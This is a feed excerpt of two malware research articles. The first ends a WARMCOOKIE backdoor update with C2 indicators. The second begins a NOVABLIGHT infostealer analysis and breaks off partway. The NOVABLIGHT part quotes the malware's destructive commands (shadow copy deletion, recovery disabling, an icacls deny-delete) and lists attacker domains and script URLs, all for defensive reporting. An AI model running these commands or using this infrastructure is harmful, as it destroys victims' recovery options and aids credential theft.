<li>Campaign ID, a recently added marker, sheds light on targeting specific services and platforms</li>
<li>WARMCOOKIE operators appear to receive variant builds distinguished by their command handlers and functionality</li>
<li>Elastic Security Labs identified a default certificate that can be used to track new WARMCOOKIE C2 servers</li>
</ul>
<h2>WARMCOOKIE recap</h2>
<p>We first <a href="https://www.elastic.co/pt/security-labs/dipping-into-danger">published</a> research about WARMCOOKIE in the summer of 2024, detailing its functionality and how it was deployed through recruiting-themed phishing campaigns. Since then, we have observed various development changes to the malware, including the addition of new handlers, a new campaign ID field, code optimization, and evasion adjustments.</p>
<p>WARMCOOKIE’s significance was highlighted in May 2025, during <a href="https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source">Europol’s Operation Endgame</a>, in which multiple high-profile malware families, including WARMCOOKIE, were disrupted. Despite this, we are still seeing the backdoor being actively used in various malvertising and spam campaigns.</p>
<h2>WARMCOOKIE updates</h2>
<h3>Handlers</h3>
<p>During our analysis of the new variant of WARMCOOKIE, we identified four new handlers introduced in the summer of 2024, providing quick capabilities to launch executables, DLLs, and scripts:</p>
<ul>
<li>PE file execution</li>
<li>DLL execution</li>
<li>PowerShell script execution</li>
<li>DLL execution with <code>Start</code> export</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image10.png" alt="Switch statement inside command handler" /></p>
<p>The most recent WARMCOOKIE builds we have collected contain the DLL/EXE execution functionality, with PowerShell script functionality being much less prevalent. These capabilities leverage the same function by passing different arguments for each file type. The handler creates a folder in a temporary directory, writing the file content (EXE / DLL / PS1) to a temporary file in the newly created folder. Then, it executes the temporary file directly or uses either <code>rundll32.exe</code> or <code>PowerShell.exe</code>. Below is an example of PE execution from procmon.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image1.png" alt="PE execution handler via Procmon" /></p>
<h3>String bank</h3>
<p>Another change observed was the adoption of using a list of legitimate companies for the folder paths and scheduled task names for WARMCOOKIE (referred to as a “string bank”). This is done for defense evasion purposes, <a href="https://attack.mitre.org/techniques/T1070/010/">allowing the malware</a> to relocate to more legitimate-looking directories. This approach uses a more dynamic method (a list of companies to use as folder paths, assigned at malware runtime) as opposed to hardcoding the path into a static location, as we observed with previous variants  (<code>C:\ProgramData\RtlUpd\RtlUpd.dll</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image6.png" alt="WARMCOOKIE string bank" /></p>
<p>The malware uses <code>GetTickCount</code> as a seed for the <code>srand</code> function to randomly select a string from the string bank.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image4.png" alt="Function used for selecting strings from the string bank" /></p>
<p>The following depicts an example of a scheduled task showing the task name and folder location:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image7.png" alt="Scheduled task using string bank" /></p>
<p>By searching a few of these names and descriptions, our team found that this string bank is sourced from a website used to rate and find reputable IT/Software companies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image9.png" alt="IT rating website used to populate the string bank" /></p>
<h3>Smaller changes</h3>
<p>In our last write-up, WARMCOOKIE passed a command-line parameter using <code>/p</code>  to determine if a scheduled task needs to be created; this parameter has been changed to <code>/u</code>. This appears to be a small, but additional change to break away from previous <a href="https://www.elastic.co/pt/security-labs/dipping-into-danger">reporting</a>.</p>
<p>In this new variant, WARMCOOKIE now embeds 2 separate GUID-like mutexes; these are used in combination to better control initialization and synchronization. Previous <a href="https://www.elastic.co/pt/security-labs/dipping-into-danger#mutex">versions</a> only used one mutex.</p>
<p>Another noticeable improvement in the more recent versions of WARMCOOKE is code optimization. The implementation seen below is now cleaner with less inline logic which makes the program optimized for readability, performance, and maintainability.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image8.png" alt="Code optimization comparison" /></p>
<h2>Clustering configs</h2>
<p>Since our initial publication in July 2024, WARMCOOKIE samples have included a campaign ID field. This field is used by operators as a tag or marker providing context to the operators around the infection, such as the distribution method. Below is an example of a <a href="https://www.virustotal.com/gui/file/5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4">sample</a> with a campaign ID of <code>traffic2</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image3.png" alt="Campaign ID within WARMCOOKIE" /></p>
<p>Based on the extracted configurations of samples in the last year, we hypothesize that the embedded RC4 key can be used to distinguish between operators using WARMCOOKIE. While unproven, we observed from various samples that some patterns started to emerge based on clustering the RC4 key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image2.png" alt="RC4 key distribution with campaign IDs" /></p>
<p>By using the RC4 key, we can see overlap in campaign themes over time, such as the build using RC4 key <code>83ddc084e21a244c</code>, which leverages keywords such as <code>bing</code>, <code>bing2</code>, <code>bing3,</code>and <code>aws</code> for campaign mapping. An interesting note, as it relates to these build artifacts, is that some builds contain different command handlers/functionality. For example, the build using the RC4 key <code>83ddc084e21a244c</code> is the only variant we have observed that has PowerShell script execution capabilities, while most recent builds contain the DLL/EXE handlers.</p>
<p>Other campaign IDs appear to use terms such as <code>lod2lod</code>, <code>capo,</code> or <code>PrivateDLL</code>. For the first time, we saw the use of embedded domains versus numeric IP addresses in WARMCOOKIE from a <a href="https://www.virustotal.com/gui/file/e0de5a2549749aca818b94472e827e697dac5796f45edd85bc0ff6ef298c5555">sample</a> in July 2025.</p>
<h2>WARMCOOKIE infrastructure overview</h2>
<p>After extracting the infrastructure from these configurations, one SSL certificate stands out. Our hypothesis is that the certificate below is possibly a default certificate used for the WARMCOOKIE back-end.</p>
<pre><code>Issuer     
    C=AU, ST=Some-State, O=Internet Widgits Pty Ltd 
Not Before     
    2023-11-25T02:46:19Z
Not After
    2024-11-24T02:46:19Z  
Fingerprint (SHA1)     
    e88727d4f95f0a366c2b3b4a742950a14eff04a4
Fingerprint (SHA256)
    8c5522c6f2ca22af8db14d404dbf5647a1eba13f2b0f73b0a06d8e304bd89cc0
</code></pre>
<p><em>Certificate details</em></p>
<p>Note the “Not After” date above shows that this certificate is expired. However, new (and reused) infrastructure continues to be initialized using this expired certificate. This is not entirely new infrastructure, but rather a reconfiguration of redirectors to breathe new life into existing infrastructure. This could indicate that the campaign owners are not concerned with the C2 being discovered.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image5.png" alt="Certificate reuse screenshot, September 2024 to September 2025" /></p>
<h3>Conclusion</h3>
<p>Elastic Security Labs continues to observe WARMCOOKIE infections and the deployment of new infrastructure for this family. Over the last year, the developer has continued to make updates and changes, suggesting it will be around for some time to come. Based on its selective usage, it continues to remain under the radar. We hope that by sharing this information, organizations will be better equipped to protect themselves from this threat.</p>
<h3>Malware and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/">Scheduled Task/Job</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/010/">Indicator Removal: Relocate Malware</a></li>
</ul>
<h2>Detecting malware</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml">Suspicious PowerShell Downloads</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml">Scheduled Task Creation by an Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml">RunDLL32 with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">Windows.Trojan.WarmCookie</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">Windows.Trojan.WarmCookie</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">87.120.126.32</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">storsvc-win[.]com</td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">85.208.84.220</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">109.120.137.42</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">195.82.147.3</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">93.152.230.29</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">155.94.155.155</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">87.120.93.151</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">170.130.165.112</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">192.36.57.164</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">83.172.136.121</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">45.153.126.129</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">170.130.55.107</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">89.46.232.247</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">89.46.232.52</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.195.64.68</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">107.189.18.183</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">192.36.57.50</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">62.60.238.115</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">178.209.52.166</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.49.69.102</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.49.68.139</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">149.248.7.220</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">194.71.107.41</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">149.248.58.85</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">91.222.173.219</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">151.236.26.198</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">91.222.173.91</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.161.251.26</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">194.87.45.138</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">38.180.91.117</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">c7bb97341d2f0b2a8cd327e688acb65eaefc1e01c61faaeba2bc1e4e5f0e6f6e</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">9d143e0be6e08534bb84f6c478b95be26867bef2985b1fe55f45a378fc3ccf2b</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">f4d2c9470b322af29b9188a3a590cbe85bacb9cc8fcd7c2e94d82271ded3f659</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">e0de5a2549749aca818b94472e827e697dac5796f45edd85bc0ff6ef298c5555</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">169c30e06f12e33c12dc92b909b7b69ce77bcbfc2aca91c5c096dc0f1938fe76</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation">https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation</a></li>
<li><a href="https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source">https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/warmcookie.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[MaaS Appeal: An Infostealer Rises From The Ashes]]></title>
            <link>https://www.elastic.co/pt/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes</link>
            <guid>maas-appeal-an-infostealer-rises-from-the-ashes</guid>
            <pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[NOVABLIGHT is a NodeJS infostealer developed and sold as a MaaS offering; it is used primarily to steal credentials and compromise cryptowallets.]]></description>
            <content:encoded><![CDATA[<h2>NOVABLIGHT at a glance</h2>
<p>NOVABLIGHT is a NodeJS-based Malware-as-a-Service (MaaS) information stealer developed and sold by a threat group that demonstrates French-language proficiency. This is apparent in their discussions and operational communications on their primary sales and support platforms, Telegram and Discord.</p>
<p>Based on our analysis of the latest released version of NOVABLIGHT, the following code snippet suggests that the Sordeal Group, the group behind <a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">Nova Sentinel and MALICORD</a>, is responsible for NOVABLIGHT as well.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image18.png" alt="Sordeal Group mentioned, followed by a link to the Telegram channel" /></p>
<h3>Key takeaways</h3>
<ul>
<li>NOVABLIGHT is an infostealer described as an educational tool, though Telegram channel messages reveal sensitive information and unredacted screenshots.</li>
<li>NOVABLIGHT licenses are valid for up to one year, and binaries can be generated via Telegram or Discord.</li>
<li>Heavily obfuscated code with many capabilities.</li>
</ul>
<h2>Discovery</h2>
<p>Elastic Security Labs identified multiple campaigns leveraging fake video game installer downloads as an initial access lure for MaaS infections of internet users. In one example, the URL <code>http://gonefishe[.]com</code> prompted the user to download a binary and install a French-language version of a game with a name and description comparable to one recently released on Steam.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image37.png" alt="Landing page for http://gonefishe . com" /></p>
<h2>Distribution, monetization, and community</h2>
<p>The group advertised and sold their product on various online platforms, previously Sellix and Sellpass and currently Billgang.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image27.png" alt="NOVABLIGHT’s product page on Billgang" /></p>
<p>The group sells an API key, which expires between 1 and 12 months. This key can then be used to build an instance of NOVABLIGHT through a Telegram bot or through Discord.</p>
<p>The group promotes a referral program on their Discord channel with API keys as rewards.</p>
<p>Users get access to a dashboard hosted by the group that presents the information collected from victims. The following domains were identified, though others may exist:</p>
<ul>
<li><code>api.nova-blight[.]top</code></li>
<li><code>shadow.nova-blight[.]top</code></li>
<li><code>nova-blight[.]site</code></li>
<li><code>nova-blight[.]xyz</code></li>
<li><code>bamboulacity.nova-blight[.]xyz</code></li>
</ul>
<p>Some of the images used in the dashboard panel are hosted in GitHub repositories associated with different accounts, which helped expose more details about the group.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image30.png" alt="HTTP response from https://shadow.nova-blight .top found in VirusTotal" /></p>
<p>The GitHub account <code>KSCHcuck1</code> is a pseudonym similar to that of the previous author of MALICORD, a free version of the earliest version of the stealer that was hosted on GitHub under the account <code>KSCH-58</code> (<a href="https://web.archive.org/web/20231216010712/https://github.com/KSCH-58">WEB ARCHIVE LINK</a>). The X account <code>@KSCH_dsc</code> also possessed similarities, and was actively advertising their &quot;best stealer ever released&quot; as recently as 2023.</p>
<p>The following GitHub accounts have been identified in relation to the group:</p>
<ul>
<li><a href="https://github.com/KSCHcuck1">https://github.com/KSCHcuck1</a></li>
<li><a href="https://github.com/CrackedProgramer412/caca">https://github.com/CrackedProgramer412/caca</a></li>
<li><a href="https://github.com/MYnva">https://github.com/MYnva</a></li>
<li><a href="https://github.com/404log">https://github.com/404log</a> (dead)</li>
</ul>
<p>Their public Telegram channel hosts tutorials and a community of users. In the following image capture, users are sharing screenshots of the build process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image22.png" alt="User screenshots of building NOVABLIGHT" /></p>
<p>Users of the infostealer are openly sharing images of luxury items and money transfers, which is notable because NOVABLIGHT is described as being solely for educational purposes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image23.png" alt="Image of phones a user of NOVABLIGHT claims to have purchased, shared via Telegram on May 15, 2025" /></p>
<h2>NOVABLIGHT analysis</h2>
<p>NOVABLIGHT is a modular and feature-rich information stealer built on NodeJS with the Electron framework. Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image16.png" alt="VirusTotal depicting low detection rate of NOVABLIGHT" /></p>
<p>A notable aspect of the malware's build process is its modular configuration. Although a customer can choose to disable specific features, the underlying code for those functions remains within the final payload; it is dormant and won’t be executed based on the build's configuration flags.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image25.png" alt="Wallet clipper logic can either be executed or not, based on the config field swapWallet.active" /></p>
<p>Code snippets in this report are from a non-obfuscated version 2.0 <a href="https://www.virustotal.com/gui/file/abc5a9605010890d7514f239e3defbbccecaeaf4cc2e2b7d54cdaaed88dd3766">sample</a>, when implementation details match version 2.2 samples, or from our manually de-obfuscated code of a version 2.2 <a href="https://www.virustotal.com/gui/file/1a2fc6ee9c48f35cff500d7a95f5d919f644d0eeb2980f9cdad4762c42b94afc/detection">sample</a> when they differ.</p>
<h3>Code structure</h3>
<p>From initial setup to data theft, the infostealer is organized into a clear, multi-stage pipeline managed by high-level &quot;flow&quot; controllers. The primary stages are:</p>
<ul>
<li><strong>flow/init:</strong> Pre-flight checks (running instances, admin privileges, internet connectivity), anti-analysis checks, system info enumeration, establish persistence, etc.</li>
<li><strong>flow/injecting:</strong> Application injection and patching (Atomic, Mullvad, Discord, …)</li>
<li><strong>flow/grabb</strong>: Data harvesting</li>
<li><strong>flow/ClipBoard</strong>: Clipboard hijacking</li>
<li><strong>flow/sending</strong>: Data exfiltration</li>
<li><strong>flow/disable</strong>: System sabotage (disable Windows Defender, system anti-reset, broken Internet connectivity, …)</li>
<li><strong>flow/cleaning:</strong> Post-exfiltration cleanup</li>
</ul>
<p>For more insights into the code structure, check out this GitHub <a href="https://gist.github.com/jiayuchann/b13ec30e72e69cb542e2e6d2e009c4a4">Gist</a>, which lists the direct dependencies for each of NOVABLIGHT’s core modules and execution flows.</p>
<h3>Anti-debug and sandbox detection</h3>
<p>NOVABLIGHT incorporates multiple techniques to detect and evade analysis environments, combining environment fingerprinting with active countermeasures. These checks include:</p>
<ul>
<li>Detecting VM-related GPU names (vmware, virtualbox, qemu)</li>
<li>Checking for blacklisted usernames (sandbox, test, malware)</li>
<li>Identifying VM-specific driver files (balloon.sys, qemu-ga)</li>
<li>Checking for low screen resolution and lack of USB devices</li>
<li>Querying GitHub for blacklists of IPs, HWIDs, usernames, programs, organizations, GPU names, PC names, and Operating Systems</li>
<li>Actively killing known analysis and debugging tools found in a remote list</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image2.png" alt="Anti-debug and anti-VM checks" /></p>
<p>The blacklists are hosted on GitHub:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json">https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json">https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json</a></li>
<li><a href="https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json">https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json</a></li>
</ul>
<h3>Disable Defender &amp; attempts to disable Task Manager</h3>
<p>NOVABLIGHT attempts to disable Windows Defender and related Windows security features by downloading and executing a batch script, <a href="https://raw.githubusercontent.com/ZygoteCode/WinDefendManager/refs/heads/main/Resources/DisableWD.bat">DisableWD.bat</a>, from a public GitHub repository.</p>
<p>The malware claims to be capable of disabling the Task Manager, making it difficult for a non-technical user to identify and terminate the malicious program. It uses <code>setValues</code> from the <code>regedit-rs</code> package to set the <code>DisableTaskMgr</code> value to <code>1</code> under <code>HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image20.png" alt="Disable Task Manager through the registry" /></p>
<p>However, looking at the <code>regedit-rs</code> <a href="https://github.com/Zagrios/regedit-rs/blob/4b7874eb6542cf162f62cf40719b44e69f086497/js-binding.js#L318">repo</a> (v1.0.3 to match), there are no exported functions named <code>setValues</code>, only <code>putValue</code>. This functionality may not work as intended.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image31.png" alt="Snippet of js-binding.js from the regedit-rs GitHub repo" /></p>
<h3>Disable internet access</h3>
<p>To disrupt the victim's internet connection, the malware employs two distinct methods. The first involves persistently disabling the Wi-Fi adapter by repeatedly resetting it in a rapid loop, utilizing the external npm package <a href="https://www.npmjs.com/package/wifi-control">wifi-control</a> and its <a href="https://github.com/msolters/wifi-control-node/blob/13d02226a3e6b12b48ebd063af2e7e3c97ef0abe/src/wifi-control.coffee#L293">resetWiFi</a> function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image6.png" alt="Disable Wi-Fi adapter" /></p>
<p>The second method disables the primary “Ethernet” network adapter using the <code>netsh</code> command, running it every 5 seconds to disable re-enabling attempts.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image5.png" alt="Disable network adapter named “Ethernet”" /></p>
<h3>Defeat system recovery</h3>
<p>The malware can sabotage system recovery by disabling the Windows Recovery Environment (<code>reagentc /disable</code>) and deleting all Volume Shadow Copies (<code>vssadmin delete shadows /all</code>) when the <code>antireset</code> flag is enabled in the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image1.png" alt="Disable system restore" /></p>
<h3>Blocking file deletion</h3>
<p>Another system sabotage function that might be apparent to the victim involves making the malware’s own executable file undeletable by modifying its security permissions through <code>icacls “${filePath}” /deny ${currentUser}:(DE,DC)</code>  where <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/icacls">DE denies delete rights and DC prevents deletion</a> via the parent folder and optionally creating a pop-up message box containing a “troll” message.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image11.png" alt="Block current user from deleting the malware executable" /></p>
<p>Before locking itself, it also executes a PowerShell command to remove the victim’s account from the following system groups: <code>Administrators</code>, <code>Power Users</code>, <code>Remote Desktop Users</code>, <code>Administrateurs</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image15.png" alt="Remove current user from Admin groups" /></p>
<h3>Clipboard address substitution</h3>
<p>The malware implements a &quot;clipper&quot; module that actively monitors the clipboard of the machine for any Crypto or Paypal addresses and replaces them with addresses defined in the configuration, if the user who built the payload did not provide their own addresses, the malware defaults to a hardcoded set, presumably controlled by the developers to capture funds from their less experienced users.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image13.png" alt="Fallback addresses are used if not specified in the config" /></p>
<h3>Electron application injections</h3>
